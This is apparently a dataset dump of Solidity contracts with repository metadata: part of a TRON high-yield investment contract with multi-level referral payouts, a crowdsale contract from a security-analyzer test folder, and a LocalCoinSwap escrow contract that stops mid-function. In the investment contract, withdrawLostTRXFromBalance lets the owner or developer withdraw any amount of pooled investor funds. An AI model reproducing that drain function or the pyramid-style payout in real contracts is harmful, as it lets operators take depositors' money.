function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}
else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function getRefDetail(uint256 _uid) public view returns (uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check ");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory refcount = new uint256[](4);
uint256[] memory refinvest = new uint256[](4);
for (uint256 i = 0; i < 4; i++) {
refcount[i]=investor.RefCount[i];
refinvest[i]=investor.RefInvest[i];
}
return
(refcount,
refinvest);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uid2Investor[_ref1].RefCount[0] = uid2Investor[_ref1].RefCount[0]+1;
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].RefCount[1] = uid2Investor[_ref2].RefCount[1]+1;
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].RefCount[2] = uid2Investor[_ref3].RefCount[2]+1;
}
if (_ref4 >= REFERRER_CODE) {
uid2Investor[_ref4].RefCount[3] = uid2Investor[_ref4].RefCount[3]+1;
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function grant(address addr, uint256 _planId) public payable {
uint256 grantorUid = address2UID[msg.sender];
bool isAutoAddReferrer = true;
uint256 referrerCode = 0;
if (grantorUid != 0 && isAutoAddReferrer) {
referrerCode = grantorUid;
}
if (_invest(addr,_planId,referrerCode,msg.value)) {
emit onGrant(msg.sender, addr, msg.value);
}
}
function invest(uint256 _referrerCode, uint256 _planId) public payable {
if (_invest(msg.sender, _planId, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public payable {
require(msg.value == 0, "withdrawal doesn't allow to transfer trx simultaneously");
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++)
{
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
Objects.Plan storage plan = investmentPlans_[uid2Investor[uid].plans[i].planId];
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if (plan.term > 0) {
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(plan.term);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , plan.dailyInterest , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate , plan.maxDailyInterest);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount=withdrawalAmount+uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
uint256 adminPercent=(withdrawalAmount*10)/100;
msg.sender.transfer((withdrawalAmount-adminPercent));
marketingAccount_.transfer(adminPercent);
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start , uint256 _maxDailyInterest) private pure returns (uint256) {
uint256 numberOfDays = (_now - _start) / INTEREST_CYCLE ;
uint256 result = 0;
uint256 index = 0;
if(numberOfDays > 0){
uint256 secondsLeft = (_now - _start);
for (index; index < numberOfDays; index++) {
if(_dailyInterestRate + index <= _maxDailyInterest){
secondsLeft -= INTEREST_CYCLE;
result += (_amount * (_dailyInterestRate + index) / 1000 * INTEREST_CYCLE) / (60*60*24);
}
else
{
break;
}
}
result += (_amount * (_dailyInterestRate + index) / 1000 * secondsLeft) / (60*60*24);
return result;
}else{
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
uid2Investor[_ref1].RefInvest[0] = uid2Investor[_ref1].RefInvest[0]+_investment;
if(_ref1==1000)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
}
if (_ref2 != 0) {
uid2Investor[_ref2].RefInvest[1] = uid2Investor[_ref2].RefInvest[1]+_investment;
if(_ref2==1000)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
}
if (_ref3 != 0) {
uid2Investor[_ref3].RefInvest[2] = uid2Investor[_ref3].RefInvest[2]+_investment;
if(_ref3==1000)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
if (_ref4 != 0) {
uid2Investor[_ref4].RefInvest[3] = uid2Investor[_ref4].RefInvest[3]+_investment;
if(_ref4==1000)
{
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
referenceAccount_.transfer(_refAmount);
}
else
{
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref4].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref4].availableReferrerEarnings);
}
}
}
if (_allReferrerAmount > 0) {
referenceAccount_.transfer(_allReferrerAmount);
}
}
function withdrawLostTRXFromBalance(uint amount) public payable{
require(msg.sender == owner || msg.sender == developerAccount_, "onlyOwner");
msg.sender.transfer(amount);
}
}
| 286,701 | 12,268 |
ea57fc98d96cc84e0a86a8a4952da9b594ebf4241308a1a8a977ec2a9bd8b60b
| 19,014 |
.sol
|
Solidity
| false |
235597819
|
eth-sri/securify2
|
def1e30ba9198828d048fbba5fbb6cd27f7e1b04
|
tests/solidity/test_real_contracts/FinalizableCrowdsale.sol
| 2,703 | 10,381 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
require(address(token).isContract());
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) { // Return data is optional
require(abi.decode(returndata, (bool)));
}
}
}
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address payable private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0);
require(wallet != address(0));
require(address(token) != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_updatePurchasingState(beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(beneficiary, weiAmount);
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0));
require(weiAmount != 0);
}
function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
// solhint-disable-previous-line no-empty-blocks
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal {
// solhint-disable-previous-line no-empty-blocks
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen());
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
// solhint-disable-next-line not-rely-on-time
require(openingTime >= block.timestamp);
require(closingTime > openingTime);
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
// solhint-disable-next-line not-rely-on-time
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed());
require(newClosingTime > _closingTime);
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized);
require(hasClosed());
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
// solhint-disable-previous-line no-empty-blocks
}
}
| 131,294 | 12,269 |
ad69cc409bbcd325bc5dbf8528788d9221da2e69eb8207fb24baa4751fec650d
| 15,579 |
.sol
|
Solidity
| false |
300404929
|
LocalCoinSwap/ethereum-token-contracts
|
484054cb001d20b25fd4bcbe20a13db4e788551f
|
contracts/localcoinswap/EthereumEscrow.sol
| 3,982 | 14,893 |
pragma solidity ^0.5.17;
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LocalCoinSwapEthereumEscrow {
using SafeERC20 for IERC20;
// Address of the arbitrator (currently always LocalCoinSwap staff)
address public arbitrator;
// Address of the owner (who can withdraw collected fees)
address public owner;
// Address of the relayer (who is allowed to forward signed instructions from parties)
address public relayer;
uint32 public requestCancellationMinimumTime = 2 hours;
// Cumulative balance of collected fees
uint256 public feesAvailableForWithdraw;
// Seller releasing funds to the buyer
uint8 constant INSTRUCTION_RELEASE = 0x01;
// Buyer cancelling
uint8 constant INSTRUCTION_BUYER_CANCEL = 0x02;
// Seller requesting to cancel. Begins a window for buyer to object
uint8 constant INSTRUCTION_RESOLVE = 0x03;
event Created(bytes32 indexed _tradeHash);
event SellerCancelDisabled(bytes32 indexed _tradeHash);
event SellerRequestedCancel(bytes32 indexed _tradeHash);
event CancelledBySeller(bytes32 indexed _tradeHash);
event CancelledByBuyer(bytes32 indexed _tradeHash);
event Released(bytes32 indexed _tradeHash);
event DisputeResolved(bytes32 indexed _tradeHash);
struct Escrow {
// So we know the escrow exists
bool exists;
uint32 sellerCanCancelAfter;
// Cumulative cost of gas incurred by the relayer. This amount will be refunded to the owner
// in the way of fees once the escrow has completed
uint128 totalGasFeesSpentByRelayer;
}
// Mapping of active trades. The key here is a hash of the trade proprties
mapping (bytes32 => Escrow) public escrows;
modifier onlyOwner() {
require(msg.sender == owner, "Must be owner");
_;
}
modifier onlyArbitrator() {
require(msg.sender == arbitrator, "Must be arbitrator");
_;
}
constructor(address initialAddress) public {
owner = initialAddress;
arbitrator = initialAddress;
relayer = initialAddress;
}
/// @notice Create and fund a new escrow.
function createEscrow(bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint32 _paymentWindowInSeconds,
uint32 _expiry,
uint8 _v,
bytes32 _r,
bytes32 _s) external payable {
// The trade hash is created by tightly-concatenating and hashing properties of the trade.
// This hash becomes the identifier of the escrow, and hence all these variables must be
// supplied on future contract calls
bytes32 _tradeHash = keccak256(abi.encodePacked(_tradeID, _seller, _buyer, _value, _fee));
// Require that trade does not already exist
require(!escrows[_tradeHash].exists, "Trade already exists");
// A signature (v, r and s) must come from localcoinswap to open an escrow
bytes32 _invitationHash = keccak256(abi.encodePacked(_tradeHash,
_paymentWindowInSeconds,
_expiry));
require(recoverAddress(_invitationHash, _v, _r, _s) == relayer, "Must be relayer");
// These signatures come with an expiry stamp
require(block.timestamp < _expiry, "Signature has expired"); // solium-disable-line
// Check transaction value against signed _value and make sure is not 0
require(msg.value == _value && msg.value > 0, "Incorrect ether sent");
uint32 _sellerCanCancelAfter = _paymentWindowInSeconds == 0
? 1
: uint32(block.timestamp) + _paymentWindowInSeconds; // solium-disable-line
// Add the escrow to the public mapping
escrows[_tradeHash] = Escrow(true, _sellerCanCancelAfter, 0);
emit Created(_tradeHash);
}
uint16 constant GAS_doResolveDispute = 36100;
function resolveDispute(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _buyerPercent) external onlyArbitrator {
address _signature = recoverAddress(keccak256(abi.encodePacked(_tradeID,
INSTRUCTION_RESOLVE)), _v, _r, _s);
require(_signature == _buyer || _signature == _seller, "Must be buyer or seller");
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
require(_escrow.exists, "Escrow does not exist");
require(_buyerPercent <= 100, "_buyerPercent must be 100 or lower");
uint256 _totalFees = _escrow.totalGasFeesSpentByRelayer + (GAS_doResolveDispute * uint128(tx.gasprice));
require(_value - _totalFees <= _value, "Overflow error"); // Prevent underflow
feesAvailableForWithdraw += _totalFees; // Add the the pot for localcoinswap to withdraw
delete escrows[_tradeHash];
emit DisputeResolved(_tradeHash);
if (_buyerPercent > 0) {
// Take fees if buyer wins dispute
uint256 _escrowFees = (_value * _fee / 10000);
// Prevent underflow
uint256 _buyerAmount = _value * _buyerPercent / 100 - _totalFees - _escrowFees;
require(_buyerAmount <= _value, "Overflow error");
feesAvailableForWithdraw += _escrowFees;
_buyer.transfer(_buyerAmount);
}
if (_buyerPercent < 100) {
_seller.transfer((_value - _totalFees) * (100 - _buyerPercent) / 100);
}
}
function release(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee) external returns (bool){
require(msg.sender == _seller, "Must be seller");
return doRelease(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function buyerCancel(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee) external returns (bool) {
require(msg.sender == _buyer, "Must be buyer");
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
uint16 constant GAS_batchRelayBaseCost = 28500;
function batchRelay(bytes16[] memory _tradeID,
address payable[] memory _seller,
address payable[] memory _buyer,
uint256[] memory _value,
uint16[] memory _fee,
uint128[] memory _maximumGasPrice,
uint8[] memory _v,
bytes32[] memory _r,
bytes32[] memory _s,
uint8[] memory _instructionByte) public returns (bool[] memory) {
bool[] memory _results = new bool[](_tradeID.length);
uint128 _additionalGas = uint128(msg.sender == relayer ? GAS_batchRelayBaseCost / _tradeID.length : 0);
for (uint8 i = 0; i < _tradeID.length; i++) {
_results[i] = relay(_tradeID[i],
_seller[i],
_buyer[i],
_value[i],
_fee[i],
_maximumGasPrice[i],
_v[i],
_r[i],
_s[i],
_instructionByte[i],
_additionalGas);
}
return _results;
}
/// @notice Withdraw fees collected by the contract. Only the owner can call this.
/// @param _to Address to withdraw fees in to
/// @param _amount Amount to withdraw
function withdrawFees(address payable _to, uint256 _amount) external onlyOwner {
// This check also prevents underflow
require(_amount <= feesAvailableForWithdraw, "Amount is higher than amount available");
feesAvailableForWithdraw -= _amount;
_to.transfer(_amount);
}
/// @notice Set the arbitrator to a new address. Only the owner can call this.
/// @param _newArbitrator Address of the replacement arbitrator
function setArbitrator(address _newArbitrator) external onlyOwner {
arbitrator = _newArbitrator;
}
/// @notice Change the owner to a new address.
function setOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
}
/// @notice Change the relayer to a new address.
function setRelayer(address _newRelayer) external onlyOwner {
relayer = _newRelayer;
}
/// @notice Allows the owner to withdraw stuck ERC20 tokens.
function transferToken(IERC20 TokenContract,
address _transferTo,
uint256 _value) external onlyOwner {
TokenContract.transfer(_transferTo, _value);
}
/// @notice Allows the owner to withdraw stuck ERC20 tokens.
function transferTokenFrom(IERC20 TokenContract,
address _transferTo,
address _transferFrom,
uint256 _value) external onlyOwner {
TokenContract.transferFrom(_transferTo, _transferFrom, _value);
}
/// @notice Allows the owner to withdraw stuck ERC20 tokens.
function approveToken(IERC20 TokenContract,
address _spender,
uint256 _value) external onlyOwner {
TokenContract.approve(_spender, _value);
}
function relay(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee,
uint128 _maximumGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _instructionByte,
uint128 _additionalGas) private returns (bool) {
address _relayedSender = getRelayedSender(_tradeID,
_instructionByte,
_maximumGasPrice,
_v,
_r,
_s);
if (_relayedSender == _buyer) {
// Buyer's instructions:
if (_instructionByte == INSTRUCTION_BUYER_CANCEL) {
// Cancel
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else if (_relayedSender == _seller) {
// Seller's instructions:
if (_instructionByte == INSTRUCTION_RELEASE) {
// Release
return doRelease(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else {
require(msg.sender == _seller, "Unrecognised party");
return false;
}
}
/// @notice Increase the amount of gas to be charged later on completion of an escrow
function increaseGasSpent(bytes32 _tradeHash, uint128 _gas) private {
escrows[_tradeHash].totalGasFeesSpentByRelayer += _gas * uint128(tx.gasprice);
}
/// @notice Transfer the value of an escrow, minus the fees, minus the gas costs incurred by relay
function transferMinusFees(address payable _to,
uint256 _value,
uint128 _totalGasFeesSpentByRelayer,
uint16 _fee) private {
uint256 _totalFees = (_value * _fee / 10000) + _totalGasFeesSpentByRelayer;
// Prevent underflow
if(_value - _totalFees > _value) {
return;
}
// Add fees to the pot for localcoinswap to withdraw
feesAvailableForWithdraw += _totalFees;
_to.transfer(_value - _totalFees);
}
uint16 constant GAS_doRelease = 46588;
function doRelease(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer + (msg.sender == relayer
? (GAS_doRelease + _additionalGas) * uint128(tx.gasprice)
: 0);
delete escrows[_tradeHash];
emit Released(_tradeHash);
transferMinusFees(_buyer, _value, _gasFees, _fee);
return true;
}
uint16 constant GAS_doBuyerCancel = 46255;
function doBuyerCancel(bytes16 _tradeID,
address payable _seller,
address payable _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) {
return false;
}
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer + (msg.sender == relayer
? (GAS_doBuyerCancel + _additionalGas) * uint128(tx.gasprice)
: 0);
delete escrows[_tradeHash];
emit CancelledByBuyer(_tradeHash);
